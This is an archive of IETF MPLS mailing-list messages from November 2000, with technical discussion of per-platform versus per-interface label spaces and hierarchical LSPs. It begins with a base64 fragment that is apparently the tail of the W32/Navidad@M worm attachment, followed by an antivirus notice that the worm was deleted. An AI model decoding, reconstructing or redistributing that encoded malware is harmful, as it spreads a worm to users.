AAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4A AAAA6mRAAOpkQAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACE AIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgAC AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAABgADAAAAQAAAgAQAAABoAACABQAAAIAAAIAGAAAAoAAAgAkAAAC4AACA DgAAANAAAIAAAAAAAAAAAAAAAAAAAAMAAQAAAPAAAIACAAAACAEAgAMAAAAgAQCAAAAAAAAAAAAA AAAAAAABAG0AAAA4AQCAAAAAAAAAAAAAAAAAAAACAGUAAABQAQCAZwAAAGgBAIAAAAAAAAAAAAAA AAAAAAEABwAAAIABAIAAAAAAAAAAAAAAAAAAAAEAbQAAAJgBAIAAAAAAAAAAAAAAAAAAAAIAggAA ALABAICDAAAAyAEAgAAAAAAAAAAAAAAAAAAAAQAJBAAA4AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAA 8AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAAAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAEAIAAAAAAAAA AAAAAAAAAAAAAQAJBAAAIAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAMAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAQAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAUAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIA AAAAAAAAAAAAAAAAAAAAAQAJBAAAcAIAAIByAADoAgAAAAAAAAAAAABodQAAKAEAAAAAAAAAAAAA uHYAAOgCAAAAAAAAAAAAALh5AABKAAAAAAAAAAAAAAAIewAAhgAAAAAAAAAAAAAAGHoAAO4AAAAA AAAAAAAAAJB7AABUAAAAAAAAAAAAAAAIegAAEAAAAAAAAAAAAAAAkHYAACIAAAAAAAAAAAAAAKB5 AAAUAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA ////APAP/w8AAPD/D/DwAP8P8A8PD/8PD/Dw8PDw//Dw8PDwDw//Dw/w8PDw8PAA8PDw8A8P//Dw DwDw8ADw//Dw8PAPD/AA8A/w/w/w8AD/D/DwDw/////////////////w8A8AAAAAAAAAAAAAAAAA APAP///////////////////wDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA /w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDw Dw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8P D/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8P APDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/w D/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw 8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A////////////////////DwAAAAAAAAAAAAAAAA AAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD/ /wAA////AAAPDw8AAPAADw8PAAAAAPAPAPAA8A/w8A8P//////DwDwAAAAAAAPAP////////8A8P APDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A 8PDwAPAP////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAo AQAAAgAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA//// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj//4AAAAAAAAAAAAAAAI/8zMzP +AAAAAAAAAAAAI/8zMzMzM//gAAAAAAAAI//zMzMzMzM//+AAAAAAAj//MTMzMzMTM//+AAAAACP /8zMTMAMxMzM//+AAAAP///ETMAAAAzETP//8AAAiI/8zMTAAAAMTMzP+IgAAAeIjMTMAAAAAMxM yIhwAAAAeIxERAAAAABERMiHAAAAAAd8RERACIAERETHcAAAAAAADEREQA/wBEREwAAAAAAAAAAE RERABERETAAAAAAAAAAAAARERERERAAAAAAAAAAAAAAAAEREAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ////////////////////////////////////////////+B///8AD//8AAH/8AAAf+AAAD/AAAAfg AAACQAAAAoAAAACAAAABwAAAA+AAAAfwAAAP/AAAP/8AAH//wAH///gf//////////////////// //////////////////8AAAEAAQAgIBAAAQAEAOgCAAADAAAAAAAAAAAAEAAmAEYAaQBsAGUAAACA AGkARQAmAHgAaQB0AAAAkAAmAEgAZQBsAHAAAACAAGgAJgBBAGIAbwB1AHQAIAAuAC4ALgAAAAAA AAAAABAAPwBoAAAAkAAvAGgAAADAAMgAAAAAAAQAFgARAOYASwAAAAAAQQBiAG8AdQB0AAAACABT AHkAcwB0AGUAbQAAAAAAAwAAUAAAAAAOAAkAEAAQAAIA//+CAP//awAAAIAAAlAAAAAAMQAKAHcA CAD/////ggBOAGEAdgBpAGQAYQBkACAAVgBlAHIAcwBpAG8AbgAgADEALgAwAAAAAAAAAAJQAAAA ADEAFAB3AAgA/////4IAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAwADAAAAAAAAAA AQADUAAAAADDAAYAHgALAAEA//+AAE8ASwAAAAAAAABCCMiAAAAAAAEAAAAAAJAAJgAAAAAAAAAL AEMAbwBtAGkAYwAgAFMAYQBuAHMAIABNAFMAAAAAAAEAAVAAAAAADAAHAHYAFgDoA///gABOAHUA bgBjAGEAIABwAHIAZQBzAGkAbwBuAGEAcgAgAGUAcwB0AGUAIABiAG8AdABvAG4AAAAAAAAAAAAA AAAAAAAAAAAAAAAHAE4AYQB2AGkAZABhAGQAAAAAAAwASABlAGwAbABvACAAVwBvAHIAbABkACEA AAAAAAcATgBBAFYASQBEAEEARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------=_NextPart_000_0057_01C05864.FF5E2DF0-- From owner-mpls@UU.NET Mon Nov 27 16:23:33 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA09527 for ; Mon, 27 Nov 2000 16:23:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb13612; Mon, 27 Nov 2000 21:20:15 GMT Received: by mail-control.mail.uu.net id QQjreb22781 for mpls-outgoing; Mon, 27 Nov 2000 21:19:41 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjreb22400 for ; Mon, 27 Nov 2000 21:18:39 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb24616 for ; Mon, 27 Nov 2000 21:16:22 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjreb12742 for ; Mon, 27 Nov 2000 21:16:21 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA09515 for mpls@uu.net; Mon, 27 Nov 2000 16:16:20 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrea21220 for ; Mon, 27 Nov 2000 21:14:58 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrea02367 for ; Mon, 27 Nov 2000 21:14:39 GMT Received: from tnnt3.tachion.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [198.139.117.130]) id QQjrea09318 for ; Mon, 27 Nov 2000 21:14:39 GMT Received: by TNNT3 with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 16:20:15 -0500 Message-ID: <5E7936641DC2D411B89900D0B7B92FBB14BA98@TNNT3> From: Antigen Administrator To: "'hasko10@hotmail.com'" , "'mpls@UU.NET'" Subject: Antigen found W32/Navidad@M virus Date: Mon, 27 Nov 2000 16:20:10 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C058B7.D5702A72" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C058B7.D5702A72 Content-Type: text/plain Antigen for Exchange Virus Detection FILENAME : Navidad.exe VIRUSNAME : W32/Navidad@M ACTION : Deleted MESSAGE : Re: Traffic engineering and RSVP SENT BY : jchen LOCATION : IMC Queues\Inbound SERVER : Tachion Networks/TACHION/TNNT3 ------_=_NextPart_001_01C058B7.D5702A72 Content-Type: text/html Antigen found W32/Navidad@M virus

Antigen for Exchange Virus Detection

FILENAME   : Navidad.exe
VIRUSNAME : W32/Navidad@M
ACTION     : Deleted
MESSAGE    : Re: Traffic engineering and RSVP
SENT BY    : jchen
LOCATION   : IMC Queues\Inbound
SERVER     : Tachion Networks/TACHION/TNNT3

------_=_NextPart_001_01C058B7.D5702A72-- From owner-mpls@UU.NET Mon Nov 27 16:24:11 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA09684 for ; Mon, 27 Nov 2000 16:24:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb23627; Mon, 27 Nov 2000 21:21:30 GMT Received: by mail-control.mail.uu.net id QQjreb23030 for mpls-outgoing; Mon, 27 Nov 2000 21:20:58 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjreb22969 for ; Mon, 27 Nov 2000 21:20:44 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb02809 for ; Mon, 27 Nov 2000 21:20:14 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjreb21114 for ; Mon, 27 Nov 2000 21:20:13 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA08646 for ; Mon, 27 Nov 2000 13:20:13 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA08823 for mpls@uu.net; Mon, 27 Nov 2000 16:20:11 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrdz07387 for ; Mon, 27 Nov 2000 20:45:49 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrdz22767 for ; Mon, 27 Nov 2000 20:45:38 GMT Received: from nero.doit.wisc.edu by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: nero.doit.wisc.edu [128.104.17.130]) id QQjrdz02932 for ; Mon, 27 Nov 2000 20:45:37 GMT Received: (from jleu@localhost) by nero.doit.wisc.edu (8.8.7/8.8.7) id OAA18890; Mon, 27 Nov 2000 14:44:46 -0600 Date: Mon, 27 Nov 2000 14:44:45 -0600 From: "James R. Leu" To: Eric Rosen Cc: jleu@mindspring.com, Shahram Davari , "'James_Huang@Mitel.COM'" , mpls@UU.NET Subject: Re: Label space of a label advertised through MPLS-BGP Message-ID: <20001127144445.C18739@doit.wisc.edu> Reply-To: jleu@mindspring.com References: <20001124173925.E5623@doit.wisc.edu> <200011271959.OAA08571@erosen-sun.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200011271959.OAA08571@erosen-sun.cisco.com>; from erosen@cisco.com on Mon, Nov 27, 2000 at 02:59:21PM -0500 Organization: none Sender: owner-mpls@UU.NET Precedence: bulk Hello Eric, > In fact, there is no such thing as a per-platform label space of VPI/VCIs or > DLCIs. So there is no way a per-platform label space could take values > away from a per-interface label space in an ATM-LSR. This question is slightly tangential, but: How does one handle the case where you have ATM and POS interfaces terminating "tunnels" which carry traffic with a label value for the same service? > One problem with this proposal is that there is no such notion as an "N > level label". If the stack consists of 2 labels. The bottom label is is the 2nd level label. When allocating that bottom label, the service should take into consideration which set of top labels could be used to "tunnel" traffic with that label value to this LSR. > James> In the current drafts the only way to have multiple interfaces > James> sharing the same label space is for them to all be assigned to the > James> per-platform label space. To do this box wide though, could be > James> opening the box up to security issues (think spoofed MPLS packets). > > The fact that all interfaces use labels from the same label space does not > imply that an incoming packet with a label from that space must be accepted, > irrespective of the interface on which it arrives. If a particular label > has not been distributed to any label distribution peer that can be reached > out interface I, then packets arriving over interface N with that label can > be discarded as bogus. So you are saying that even though interface I,N are members of the platform label space, the contents of their ILMs may be different. Agreed. There are cases though when the labels allocated from the platform label space need to be added to the ILMs of multiple interfaces. How will the user specify _which_ interfaces should be included? Most likely by creating a group of interfaces, and associating that group with a service. Why not use the label space for the grouping and the association? > Perhaps this is exactly what you are getting at above -- that for each > label, it is helpful to know the set of interfaces over which traffic with > that label may be validly received. > Unless you have some reason for using the same label value for different > services, there is no difference between having per-service label spaces, > and having a per-platform label space where you know that certain labels may > not be validly received over certain interfaces. What you need to know is > that a particular label has been used for a particular service, you don't > really need a per-service label space. I'm assuming we will need more then 20 bits to represent all of the label values allocated by a given LSR. Jim -- James R. Leu From owner-mpls@UU.NET Mon Nov 27 16:25:21 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA09937 for ; Mon, 27 Nov 2000 16:25:20 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb03708; Mon, 27 Nov 2000 21:22:49 GMT Received: by mail-control.mail.uu.net id QQjreb23355 for mpls-outgoing; Mon, 27 Nov 2000 21:22:14 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjreb23210 for ; Mon, 27 Nov 2000 21:21:44 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjreb02953 for ; Mon, 27 Nov 2000 21:18:25 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjreb25168 for ; Mon, 27 Nov 2000 21:18:24 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA10085 for mpls@uu.net; Mon, 27 Nov 2000 16:18:23 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjreb21967 for ; Mon, 27 Nov 2000 21:17:27 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjreb07961 for ; Mon, 27 Nov 2000 21:16:59 GMT Received: from procyon.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjreb22297 for ; Mon, 27 Nov 2000 21:16:58 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id NAA24548; Mon, 27 Nov 2000 13:16:43 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 13:16:43 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A8A@BBY1EXM01> From: Shahram Davari To: "'jleu@mindspring.com'" Cc: James_Huang@Mitel.COM, mpls@UU.NET Subject: RE: Label space of a label advertised through MPLS-BGP Date: Mon, 27 Nov 2000 13:16:42 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi James, > Which draft makes this assertion? I consider hierarchy to > include the case > where the top label is ATM/FR and the rest of the label stack > is composed of > generic labels under the require "NULL" label. The main reason of having per-platform label space is that when an egress node of a hierarchical tunnel distributes an inner label to its remote peer, it does not know from which interface that LSP will arrive (this might be due to the use of TE that changes the outer LSP). In other words the label below the top label needs to be from the per-platform label space not the top level label that is VPI/VCI. Regards, -Shahram From owner-mpls@UU.NET Mon Nov 27 16:25:45 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by 